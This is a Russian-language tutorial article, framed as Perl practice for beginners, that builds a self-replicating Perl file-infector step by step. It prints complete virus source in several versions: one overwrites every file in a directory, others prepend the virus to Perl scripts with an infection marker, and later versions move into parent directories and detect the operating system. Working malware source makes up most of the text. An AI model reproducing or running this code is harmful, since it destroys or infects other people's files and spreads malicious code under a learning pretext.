Единственная цель этой статьи - получение дополнительных знаний, которые помогут начинающим программистам
(таким как я :-)) в освоении языка Perl. Код, использованный здесь, 
является достаточно простым для понимания теми, кто уже имеет базисные знания
Perl. Примеры программ прошли успешное тестирование на Linux Red Hat 7.2 c 
Perl 5.6.0. Начнем мы с простой программы, которая будет просто
переписывать себя в другие файлы. Постепенно мы будем добавлять в нее
новые функции. Вот исходник этой программы:

#!/usr/bin/perl

open(File,$0);
@Virus=<File>;
close(File);

foreach $FileName (<*>)
{
open(File, ">$FileName");
print File @Virus;
close (File);
}

Первая строка, надеюсь, всем понятна. Во второй строке мы открываем сами
себя. Имя исполняемого файла находится в $0. Затем мы передаем содержание
файла в массив @Virus. Теперь каждое значение массива содержит строки
нашего файла. Так как это все, что мы хотим сделать с нашим файлом, мы
закрываем его. Далее мы начинаем поиск других файлов. Ищем все файлы в
данном каталоге (<*>) и передаем их значение в $FileName. Мы открываем
файлы в режиме записи ( ">$FileName" ) и просто перезаписываем их нашим
кодом. Также можно использовать >>$FileName для добавления в конец файла.
Итак, таким образом все файлы будут перезаписаны нашей программой. 

Теперь сделаем так, что воздействию программы будут подвергаться только
Perl-файлы. 

#!/usr/bin/perl
open(File,$0);
@Virus=<File>;
close(File);

foreach $FileName (<*>)
{
if ((-r $FileName) && (-w $FileName) && (-f $FileName))
{
open(File, "$FileName");
@Temp=<File>;
close(File);
if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl"))
{
open(File, ">$FileName");
print File @Virus;
close (File);
}
}
}

Первые несколько строк понятны из предыдущего примера. Затем следует
if-конструкция. Она отфильтровывает все файлы, которые доступны на чтение(-r), запись (-w), и которые являются файлами а не каталогами (-f).
Соединены эти критерии с помощью && ( логический AND ). Затем открываем
файл на чтение, помещаем его в переменную $Temp и закрываем. Далее следует
проверка первой (@Temp[0]) и второй (@Temp[1]) строк на наличие строки
"perl", чтобы проверить является ли файл perl-программой. Все остальное
должно быть понятно. 

Можно также добавить проверку является ли файл исполняемым (-x $FileName),
но мы не сможем осуществить эту проверку в среде Windows, а также из-за
того, что много людей все-таки начинают файл со строки интерпретатора, не
устанавливая флаг исполнения. Еще одна возможная проверка может состоять в
команде "file" для того, чтобы убедиться, что это perl-программа. Но
данная команда тоже не будет работать в среде Windows. 

Теперь займемся более серьезными вещами - добавлением. Посмотрите на
исходник:

#!/usr/bin/perl
#PerlDemo # Новая строка

open(File,$0);
@Virus=<File>;
@Virus=@Virus[0...24]; # Новая строка
close(File);

foreach $FileName (<*>)
{
if ((-r $FileName) && (-w $FileName) && (-f $FileName))
{
open(File, "$FileName");
@Temp=<File>;
close(File);
if ((@Temp[1] =~ "PerlDemo") or (@Temp[2] =~ "PerlDemo")) #Новая строка
{
if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl"))
{
open(File, ">$FileName");
print File @Virus;
print File @Temp; # Новая строка
close (File);
}
}
}
}

За исключением добавления новых строк, практически ничего не изменилось.
Из изменений можно отметить то, что мы берем лишь 24 строки исполняемого в
данный момент времени файла (зараженного). Это из-за того, что мы
прикрепляем оригинальный файл к заражаемому. Поэтому новый файл начинается
с вируса, затем пустая строка и далее старый файл,
начинающийся с "#!/usr/bin/perl". Новая проверка на "PerlDemo", чтобы
знать, заражен ли файл или нет. При написании подобных программ, главное - оптимизация кода, но здесь я не
смог придумать что-либо кроме соединения строк вместе:

#!/usr/bin/perl #PerlDemo
open(File,$0); @Virus=<File>; @Virus=@Virus[0...6]; close(File);
foreach $FileName (<*>) { if ((-r $FileName) && (-w $FileName) && (-f 
$FileNam
e)) {
open(File, "$FileName"); @Temp=<File>; close(File); if ((@Temp[1] =~ 
"PerlDemo
") or (@Temp[2] =~ "PerlDemo"))
{ if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl")) { open(File, 
">$FileName")
; print File @Virus;
print File @Temp; close (File); } } } }

Теперь добавим функцию перехода из каталога в каталог. Взгляните:

#!/usr/bin/perl
#Perl Virus - Downward Travelling
open(File,$0);
@Virus=<File>;
@Virus=@Virus[0...24];
close(File);

&InfectFile; # Новая строка
chdir('..'); # Новая строка
&InfectFile; # Новая строка

sub InfectFile { # Новая строка
foreach $FileName (<*>) {
if ((-r $FileName) && (-w $FileName) && (-f $FileName)) {
open(File, "$FileName");
@Temp=<File>;
close(File);
if ((@Temp[1] =~ "Virus") or (@Temp[2] =~ "Virus")) {
if ((@Temp[0] =~ "perl",,i) or (@Temp[1] =~ "perl",,i)) {#Новая строка
open(File, ">$FileName");
print File @Virus;
print File @Temp;
close (File);
}}}}}

Что мы сделали? Первое изменение состоит в том, что мы помещаем процедуру
поиска в подпрограмму, которая исполняется два раза из главной программы.
Другое изменение это команда chdir('..'), которая помогает нам переходить
на один каталог. Это должно сработать для UNIX-систем и
DOS/Windows-систем, но вызовет ошибки в среде MacOS, т.к. эта система
использует '::' для перехода. Другое изменение состоит в проверке (@Temp[1]=~ "perl",,i). ",,i" означает
то, что мы ищем строку "perl", игнорируя регистр. Т.е. мы сможем найти
perl-файлы, начинающиеся с #С:\Programme\Perl\Perl.exe. Некоторые могут заметить, что мы не восстанавливаем исходный каталог.
Можете назвать это багом 🙂 Это одна из проблем, обусловленых
несовместимостью различных операционных систем. В UNIX/Linux системах мы
можем получить текущий каталог с помощью $CurrPath='pwd'; Но это не
сработает в Win и MacOS. В то же время, мы можем определить операционную систему при помощи
переменной $^O, которая существует с Perl 5.0002. Следующий код поможет
определить, находимся ли мы в Dos, Windows, Linux, BSD или Solaris
системах. 

#!/usr/bin/perl
#Perl Virus - Downward Travelling
open(File,$0);
@Virus=<File>;
@Virus=@Virus[0...30];
close(File);

&InfectFile;
if (($^O =~ "bsd") or ($^O =~ "linux") or ($^O =~ "solaris")) { $OldDir = 
`pwd
` } # Новая строка
if (($^O =~ "dos") or ($^O =~ "MSWin32")) { $OldDir = `cd` }
# Новая строка
$DotDot = '..';
# Новая строка
if ($^O =~ "MacOS") { $DotDot = "::" }
# Новая строка
chdir($DotDot);
# Новая строка
&InfectFile;
chdir($OldDir);
# Новая строка

sub InfectFile {
foreach $FileName (<*>) {
if ((-r $FileName) && (-w $FileName) && (-f $FileName)) {
open(File, "$FileName");
@Temp=<File>;
close(File);
if ((@Temp[1] =~ "Virus") or (@Temp[2] =~ "Virus")) {
if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl")) {
open(File, ">$FileName");
print File @Virus;
print File @Temp;
close (File);
}}}}}

Итак, если это будет UNIX система (Linux, BSD, Solaris), то мы получим
текущий каталог с помощью pwd-команды. В среде Windows осуществляем это с
помощью cd, команды, при помощи которой можно изменить текущий каталог, но
также можно получить путь. Затем мы устанавливаем '..', используемые на
почти всех системах, или '::', если это MacOS. Возможно, следует сделать
лишь две проверки, одну для MacOS и установить '::', и одну для
Dos, Windows, OS/2 для использования cd для получения каталога. Мы используем
'..' и pwd, т.к. существует множество UNIX и BSD версий, на который
портирован Perl и у них всех есть pwd команда. Если мы захотим переход на каталоги,
располагающиеся выше текущей директории, возникает та же проблема в разнице операционных систем.
Разница заключается в том, как указать корневую директорию. В Linux только
одна корневая директория '/', Windows и Dos имеют один корневой каталог
для каждого диска A:, C:, D: ... 

(Продолжение следует)

 

Оставить мнение